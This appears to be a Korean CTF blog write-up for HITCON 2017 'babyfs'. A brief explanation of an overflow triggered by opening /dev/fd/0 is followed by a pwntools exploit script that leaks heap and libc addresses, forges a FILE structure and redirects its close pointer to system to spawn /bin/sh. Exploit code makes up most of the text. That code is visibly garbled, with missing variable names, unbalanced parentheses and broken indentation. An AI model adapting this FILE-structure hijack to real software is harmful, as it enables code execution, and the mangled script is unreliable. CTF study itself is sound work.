Pwnable/CTF

HITCON CTF 2017 babyfs

HSr00t 2018. 1. 30. 19:45

처음 문제를 잡았을때 어떤식으로 접근해야되는지 모르겠어서 /dev/fd/0을 open 하면 입력을 할수있다는것을 Write up에서 참고하고 문제를 풀었다.


/dev/fd/0(/dev/stdin) 을 오픈하면 dup(0)과같은 현상이 일어나서 입력을 받을수 있다.

open을하고 fseek 과같이 파일 사이즈를 확인하는 함수에서는 /dev/fd/0파일을 open할때 오류가나서 -1을 반환하기때문에 오버플로우를 할수있다.


sendline을 할때 enter값이 stdin 버퍼에 아직 남아가지고 그것도 같이 복사를 해주는것때문에 -1,-2를 해주지 않으면 값이 내가 원하는것보다 더 많이 들어가버린다.  



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
import struct
 
def fopen(name):
    p.sendlineafter('choice: ','1')
    p.sendlineafter(':',name)
 
def fread(idx,size):
    p.sendlineafter('choice: ','2')
    p.sendlineafter(':',str(idx))
    p.sendlineafter(':',str(size))
 
def fwrite(idx):
    p.sendlineafter('choice: ','3')
    p.sendlineafter(':',str(idx))
 
def fclose(idx):
    p.sendlineafter('choice: ','4')
    p.sendlineafter(':',str(idx))
 
 
heap = ''
libc = ''
 
= process('./babyfs.bin')
    
fopen('/dev/fd/0'#0
fopen('/dev/fd/1')
 
idx = 0
= 1
for i in range(0x98,0x9e):
    payload = 'A'*(24-idx)
    payload += p64(0x231)
    payload += p64(0xfbad2488)
    fread(0,len(payload)+j)
    sleep(2)
    p.sendline(payload+struct.pack('<B',i))
    fread(1,8)
    fwrite(1)
    p.recvuntil(':')
    p.recv(1)
    heap += p.recv(1)
    fclose(1)
    fopen('/dev/fd/1')
    idx = 1
    j = 2
    print heap.encode('hex')
 
heap = u64(heap+'\x00\x00'- 0xf0
print hex(heap)
 
 
for i in range(0x78,0x7e):
    payload = 'A'*23
    payload += p64(0x231)
    payload += p64(0xfbad2488)
    fread(0,len(payload)+j)
        sleep(1)
    p.sendline(payload+struct.pack('<B',i))
        fread(1,8)
        fwrite(1)
        p.recvuntil(':')
        p.recv(1)
        libc += p.recv(1)
        print libc.encode('hex')
    fclose(1)
        fopen('/dev/fd/1')
 
libc_base = u64(libc+'\x00\x00'- 0x3c5540
system = libc_base + 0x45390
print hex(libc_base)
print hex(system)
 
sleep(1)
 
payload = 'A'*23
payload += p64(0x231)
payload += '/bin/sh\x00'
payload += p64(heap+0x14a0)  * 7
payload += p64(heap+0x18a0)
payload += p64(0* 4
payload += p64(heap + 0x10)
payload += p64(4+ p64(0)*2 + p64(heap + 0x1350)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(heap + 0x1360)
payload += p64(0)*6
payload += p64(heap + 0x1350)
payload += p64(0* 17
payload += p64(system) #__GI__IO_file_close
fread(0,len(payload)+2)
p.sendline(payload)
 
p.interactive()
 
fclose(1)
 
p.interactive()
 
cs